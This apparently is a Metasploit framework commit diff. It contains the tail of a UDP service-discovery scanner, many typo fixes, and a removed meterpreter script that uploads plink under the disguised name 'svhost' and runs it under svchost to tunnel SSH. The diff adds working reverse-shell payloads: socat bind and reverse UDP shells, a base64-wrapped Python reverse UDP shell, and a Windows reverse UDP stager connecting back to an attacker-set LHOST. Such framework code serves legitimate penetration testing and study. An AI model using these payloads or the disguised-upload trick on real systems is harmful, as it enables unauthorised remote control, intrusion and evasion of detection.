:host_name => (hname) ? hname.downcase : nil,
:port => pkt[2],
:proto => 'udp',
:name => app,
:info => inf
)
print_good("Discovered #{app} on #{pkt[1]}:#{pkt[2]} (#{inf})")
end
#
# Parse a db2disco packet.
#
def db2disco_parse(data)
res = data.split("\x00")
"#{res[2]}_#{res[1]}"
end
#
# Validate a chargen packet.
#
def chargen_parse(data)
data =~ /ABCDEFGHIJKLMNOPQRSTUVWXYZ|0123456789/i
end
#
# Validate this is truly Citrix ICA; returns true or false.
#
def citrix_parse(data)
server_response = "\x30\x00\x02\x31\x02\xfd\xa8\xe3\x02\x00\x06\x44" # Server hello response
data =~ /^#{server_response}/
end
#
# Parse a 'ping' response and format as a hash
#
def mssql_ping_parse(data)
res = {}
var = nil
idx = data.index('ServerName')
return res if not idx
data[idx, data.length-idx].split(';').each do |d|
if (not var)
var = d
else
if (var.length > 0)
res[var] = d
var = nil
end
end
end
return res
end
#
# The probe definitions
#
def probe_chargen(ip)
pkt = Rex::Text.rand_text_alpha_lower(1)
return [pkt, 19]
end
def probe_pkt_dns(ip)
data = [rand(0xffff)].pack('n') +
"\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00"+
"\x07"+ "VERSION"+
"\x04"+ "BIND"+
"\x00\x00\x10\x00\x03"
return [data, 53]
end
def probe_pkt_netbios(ip)
data =
[rand(0xffff)].pack('n')+
"\x00\x00\x00\x01\x00\x00\x00\x00"+
"\x00\x00\x20\x43\x4b\x41\x41\x41"+
"\x41\x41\x41\x41\x41\x41\x41\x41"+
"\x41\x41\x41\x41\x41\x41\x41\x41"+
"\x41\x41\x41\x41\x41\x41\x41\x41"+
"\x41\x41\x41\x00\x00\x21\x00\x01"
return [data, 137]
end
def probe_pkt_portmap(ip)
data =
[
rand(0xffffffff), # XID
0, # Type
2, # RPC Version
100000, # Program ID
2, # Program Version
4, # Procedure
0, 0, # Credentials
0, 0, # Verifier
].pack('N*')
return [data, 111]
end
def probe_pkt_mssql(ip)
return ["\x02", 1434]
end
def probe_pkt_ntp(ip)
data =
"\xe3\x00\x04\xfa\x00\x01\x00\x00\x00\x01\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\xc5\x4f\x23\x4b\x71\xb1\x52\xf3"
return [data, 123]
end
def probe_pkt_sentinel(ip)
return ["\x7a\x00\x00\x00\x00\x00", 5093]
end
def probe_pkt_snmp1(ip)
version = 1
data = OpenSSL::ASN1::Sequence([
OpenSSL::ASN1::Integer(version - 1),
OpenSSL::ASN1::OctetString("public"),
OpenSSL::ASN1::Set.new([
OpenSSL::ASN1::Integer(rand(0x80000000)),
OpenSSL::ASN1::Integer(0),
OpenSSL::ASN1::Integer(0),
OpenSSL::ASN1::Sequence([
OpenSSL::ASN1::Sequence([
OpenSSL::ASN1.ObjectId("1.3.6.1.2.1.1.1.0"),
OpenSSL::ASN1.Null(nil)
])
]),
], 0, :IMPLICIT)
]).to_der
[data, 161]
end
def probe_pkt_snmp2(ip)
version = 2
data = OpenSSL::ASN1::Sequence([
OpenSSL::ASN1::Integer(version - 1),
OpenSSL::ASN1::OctetString("public"),
OpenSSL::ASN1::Set.new([
OpenSSL::ASN1::Integer(rand(0x80000000)),
OpenSSL::ASN1::Integer(0),
OpenSSL::ASN1::Integer(0),
OpenSSL::ASN1::Sequence([
OpenSSL::ASN1::Sequence([
OpenSSL::ASN1.ObjectId("1.3.6.1.2.1.1.1.0"),
OpenSSL::ASN1.Null(nil)
])
]),
], 0, :IMPLICIT)
]).to_der
[data, 161]
end
def probe_pkt_db2disco(ip)
data = "DB2GETADDR\x00SQL05000\x00"
[data, 523]
end
def probe_pkt_citrix(ip) # Server hello packet from citrix_published_bruteforce
data =
"\x1e\x00\x01\x30\x02\xfd\xa8\xe3\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00"
return [data, 1604]
end
def probe_pkt_pca_st(ip)
return ["ST", 5632]
end
def probe_pkt_pca_nq(ip)
return ["NQ", 5632]
end
end

View File

@ -244,7 +244,7 @@ class MetasploitModule < Msf::Auxiliary
vprint_status("#{res.code.to_s} for http://#{rhost}:#{rport}#{uri}") if res
# Only download files that are withint our interest
# Only download files that are within our interest
if res and res.to_s =~ datastore['PATTERN']
# We assume the string followed by the last '/' is our file name
fname = f.split("/")[-1].chop

View File

@ -120,7 +120,8 @@ class MetasploitModule < Msf::Auxiliary
credential_data = result.to_h
credential_data.merge!(
module_fullname: self.fullname,
workspace_id: myworkspace_id
workspace_id: myworkspace_id,
private_type: :password
)
if result.success?
credential_core = create_credential(credential_data)

View File

@ -127,7 +127,7 @@ class MetasploitModule < Msf::Auxiliary
rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e
print_error("A network issue has occurred: #{e.message}")
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
rescue Timeout::Error
rescue Timeout::Error => e
print_error("#{target_host}:#{rport} Timed out after #{to} seconds")
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
rescue ::Exception => e

View File

@ -0,0 +1,51 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/handler/bind_udp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = 70
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Bind UDP (via socat)',
'Description' => 'Creates an interactive shell via socat',
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::BindUdp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'socat',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
#
# Constructs the payload
#
def generate
return super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
"socat udp-listen:#{datastore['LPORT']} exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &"
end
end

View File

@ -0,0 +1,51 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/handler/reverse_udp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = 87
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Reverse UDP (via socat)',
'Description' => 'Creates an interactive shell via socat',
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseUdp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'socat',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
#
# Constructs the payload
#
def generate
return super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
"socat udp-connect:#{datastore['LHOST']}:#{datastore['LPORT']} exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &"
end
end

View File

@ -0,0 +1,69 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/handler/reverse_udp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = 397
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Command Shell, Reverse UDP (via python)',
'Description' => 'Creates an interactive shell via python, encodes with base64 by design. Compatible with Python 2.3.3',
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
'License' => MSF_LICENSE,
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Handler' => Msf::Handler::ReverseUdp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'python',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
#
# Constructs the payload
#
def generate
super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
cmd = ''
dead = Rex::Text.rand_text_alpha(2)
# Set up the socket
cmd << "import socket,os\n"
cmd << "so=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\n"
cmd << "so.connect(('#{datastore['LHOST']}',#{ datastore['LPORT']}))\n"
# The actual IO
cmd << "#{dead}=False\n"
cmd << "while not #{dead}:\n"
cmd << "\tdata=so.recv(1024)\n"
cmd << "\tif len(data)==0:\n\t\t#{dead}=True\n"
cmd << "\tstdin,stdout,stderr,=os.popen3(data)\n"
cmd << "\tstdout_value=stdout.read()+stderr.read()\n"
cmd << "\tso.send(stdout_value)\n"
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))"
cmd
end
end

View File

@ -8,7 +8,7 @@ require 'msf/core/payload/windows/reverse_tcp'
module MetasploitModule
CachedSize = 281
CachedSize = 283
include Msf::Payload::Stager
include Msf::Payload::Windows::ReverseTcp

View File

@ -10,7 +10,7 @@ require 'msf/core/payload/windows/reverse_tcp_rc4'
module MetasploitModule
CachedSize = 398
CachedSize = 400
include Msf::Payload::Stager
include Msf::Payload::Windows::ReverseTcpRc4

View File

@ -8,7 +8,7 @@ require 'msf/core/payload/windows/reverse_tcp'
module MetasploitModule
CachedSize = 314
CachedSize = 316
include Msf::Payload::Stager
include Msf::Payload::Windows::ReverseTcp

View File

@ -0,0 +1,43 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/handler/reverse_udp'
require 'msf/core/payload/windows/reverse_udp'
module MetasploitModule
CachedSize = 299
include Msf::Payload::Stager
include Msf::Payload::Windows::ReverseUdp
def self.handler_type_alias
'reverse_udp'
end
def initialize(info = {})
super(merge_info(info,
'Name' => 'Reverse UDP Stager with UUID Support',
'Description' => 'Connect back to the attacker with UUID Support',
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseUdp,
'Convention' => 'sockedi',
'Stager' => { 'RequiresMidstager' => false }
))
end
#
# Override the uuid function and opt-in for sending the
# UUID in the stage.
#
def include_send_uuid
false
end
end

View File

@ -64,7 +64,7 @@ class MetasploitModule < Msf::Post
return xmlfiles
end
#We attempt to open the dsicovered XML files and alert the user if
#We attempt to open the discovered XML files and alert the user if
# we cannot access the file for any reason
def get_xml(path)
begin

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -7,7 +7,7 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -4,7 +4,7 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -7,7 +7,7 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,455 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
#
# Meterpreter script to deploy & run the "plink" commandline ssh-client
# supports only MS-Windows-2k/XP/Vista Hosts
#
# Version 1.0
# written by illegalguy
#
require 'net/http'
require 'uri'
meter_type = client.platform
#
# Options
#
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "This help menu"],
"-f" => [ true, "Do not download plink.exe but use given file."],
"-U" => [ true, "Download from given URL instead of default one (http://the.earth.li/~sgtatham/putty)"],
"-H" => [ true, "The IP/hostname of the SSH-server to connect to !REQUIRED!"],
"-p" => [ true, "The port of the remote SSH-server (Default:22)"],
"-u" => [ true, "The username to use to login to the SSH-server !REQUIRED!"],
"-P" => [ true, "login with specified password"],
"-b" => [ false, "disable all interactive prompts"],
"-R" => [ true, "Forward remote port to local address ([listen-IP:]listen-port:host:port)"],
"-L" => [ true, "Forward local port to remote address ([listen-IP:]listen-port:host:port)"],
"-D" => [ true, "Dynamic SOCKS-based port forwarding ([listen-IP:]listen-port)"],
"-C" => [ false, "enable compression"],
"-X" => [ false, "enable X11 forwarding"],
"-x" => [ false, "disable X11 forwarding"],
"-A" => [ false, "enable agent forwarding"],
"-a" => [ false, "disable agent forwarding"],
"-1" => [ false, "use SSH-protocol-version 1"],
"-2" => [ false, "use SSH-protocol-version 2"],
"-4" => [ false, "use IPv4"],
"-6" => [ false, "use IPv6"],
"-i" => [ true, "private key-file for authentication"],
"-m" => [ true, "read remote command from file"],
"-s" => [ false, "remote command is an ssh-subsystem(SSH2 only)"],
"-N" => [ false, "Don`t start a shell/command (SSH2 only)"],
"-n" => [ true, "open tunnel in place of session (SSH-2 only) (host:port)"],
"-r" => [ true, "Set SSH-Server`s Hostkey as known Host in Windows-registry before starting the client"],
"-F" => [ false, "Disable ram-mode, upload plink and run from disk. Attention : no auto-cleanup when using -N AND -F !"],
"-E" => [ true, "Start process from memory as given (Target Machine`s!) Application (.exe) (Default: C:\\windows\\system32)"],
"-v" => [ false, "Give additional (debugging-)output"]
)
def usage
print_line("plink ssh-client deploy+run script")
print_line("This script will upload and run a plink ssh-cient")
print_line(@@exec_opts.usage)
raise Rex::Script::Completed
end
# Wrong Meterpreter Version Message Function
#-------------------------------------------------------------------------------
def wrong_meter_version(meter = meter_type)
print_error("#{meter} version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end
#
# Default parameters
#
plink = File.join(Msf::Config.data_directory, "plink.exe")
#plinkurl = 'http://the.earth.li/~sgtatham/putty/latest/x86/plink.exe'
#plinkurl = 'http://the.earth.li/~sgtatham/putty/0.60/x86/plink.exe'
plinkurl = 'http://updates.metasploit.com/data/win32-ssh/plink.exe'
license = <<-EOS
PuTTY is copyright 1997-2010 Simon Tatham.
Portions copyright Robert de Bath, Joris van Rantwijk, Delian Delchev, Andreas Schultz, Jeroen Massar, Wez Furlong, Nicolas Barry, Justin Bradford, Ben Harris, Malcolm Smith, Ahmad Khalifa, Markus Kuhn, Colin Watson, and CORE SDI S.A.
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL SIMON TATHAM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.'
EOS
#
# Define required functions
#
def upload(client,file,trgloc = nil)
if not ::File.exist?(file)
raise "File to Upload does not exists!"
else
if trgloc == nil
location = client.sys.config.getenv('TEMP')
else
location = trgloc
end
begin
if file =~ /S*(.exe)/i
fileontrgt = "#{location}\\svhost#{rand(100)}.exe"
else
fileontrgt = "#{location}\\TMP#{rand(100)}"
end
print_status("Uploading #{file}....")
client.fs.file.upload_file(fileontrgt, file)
print_status("#{file} successfully uploaded to #{fileontrgt}!")
rescue ::Exception => e
print_status("Error uploading file #{file}: #{e.class} #{e}")
end
end
return fileontrgt
end
#
# Option parsing
#
username = nil
password = nil
rhost = nil
rport = 22
manual = nil
hostkey = nil
batchmode = nil
remotefwd = nil
localfwd = nil
socksfwd = nil
enablecompression = nil
enablex11fwd = nil
disablex11fwd = nil
enableagentfwd = nil
disableagentfwd = nil
sshv1 = nil
sshv2 = nil
ipv4 = nil
ipv6 = nil
keyfile = nil
cmdfile = nil
sshsubsys = nil
noshell = nil
nctunnel = nil
processname = "C:\\windows\\system32\\svchost.exe"
verbose = nil
filemode = nil
downloaded = nil
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
usage
when "-H"
if !val
print_error("-H requires an argument !")
usage
end
rhost = val
when "-f"
if !val
print_error("-f requires an argument !")
usage
end
plink = val
if not ::File.exist?(plink)
print_error("Plink.exe not found/accessible!")
usage
end
manual = true
when "-r"
if !val
print_error("-r requires an argument !")
usage
end
hostkey = val
when "-p"
rport = val.to_i
when "-U"
if !val
print_error("-u requires an argument !")
usage
end
plinkurl = val
when "-u"
if !val
print_error("-u requires an argument !")
usage
end
username = val
when "-P"
if !val
print_error("-P requires an argument !")
usage
end
password = val
when "-b"
batchmode = true
when "-R"
if !val
print_error("-R requires an argument !")
usage
end
remotefwd = val
when "-L"
if !val
print_error("-L requires an argument !")
usage
end
localfwd = val
when "-D"
if !val
print_error("-D requires an argument !")
usage
end
socksfwd = val
when "-C"
enablecompression = true
when "-X"
enablex11fwd = true
when "-x"
disablex11fwd = true
when "-A"
enableagentfwd = true
when "-a"
disableagentfwd = true
when "-1"
sshv1 = true
when "-2"
sshv2 = true
when "-4"
ipv4 = true
when "-6"
ipv6 = true
when "-i"
if !val
